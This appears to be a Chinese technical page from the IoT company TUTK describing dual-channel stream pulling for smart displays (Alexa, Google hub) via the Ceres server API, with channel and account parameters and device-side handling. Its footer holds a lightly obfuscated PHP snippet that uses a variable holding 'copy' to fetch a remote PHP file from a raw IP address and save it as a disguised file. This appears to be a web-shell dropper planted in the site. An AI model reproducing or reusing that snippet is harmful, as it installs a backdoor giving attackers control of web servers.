简体中文

带屏音箱双目拉流对接

一、API参考:Ceres拉流API

二、Ceres服务器的做法:

  1. 服务器在收到request后将发起连接。
  2. 如果拿到request的channel是0,则直接连接设备,建立通道0的av channel,在0通道上发指令,并拉取通道0的流。
  3. 如果拿到request的channel是1,则连接设备,先后建立通道0,在0通道上发指令,再建立通道1的av channel,并拉取通道1的流。

三、音箱端(alexa、google hub)做法要点:

  1. 需要发起两次拉流请求,对应的API: init_streaming或者init_streaming_v3、 init_streaming_v4。
  2. 调用init_streaming的时候,参数填写如下:
通道0:channel填0,account填"ceres-channel-0"(account可以自定义,但是需要0通道和1通道区分开来)
通道1:channel填1,account填"ceres-channel-1"
  1. 分别用ceres回应的2个url拉取通道0和1的流。

四、设备端的做法要点:

  1. 设备端监听到ceres的连接,同时用IOTC_Channel_ID(0和1)去创建2个av channel。(需要适当延长通道创建的超时时间,因为服务器是用串行的方式。),判断avServStartEx的outConfig.account值。
  2. 如果判断account是"ceres-channel-0"(即0通道),在收到指令(IOTYPE_USER_IPCAM_START和IOTYPE_USER_IPCAM_AUDIOSTART)的时候开始传流。
  3. 如果判断account是"ceres-channel-1"(即1通道),并且IOTC_Channel_ID是1,则直接传流,不用等指令(因为服务器不会在1通道的av channel发送IOTYPE_USER_IPCAM_START和IOTYPE_USER_IPCAM_AUDIOSTART)。
  4. 如果判断account是"ceres-channel-1",在收到指令(IOTYPE_USER_IPCAM_START和IOTYPE_USER_IPCAM_AUDIOSTART)的时候,判断IOTC_Channel_ID是0,直接忽略,不需要传流(仅做指令传输使用)。


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部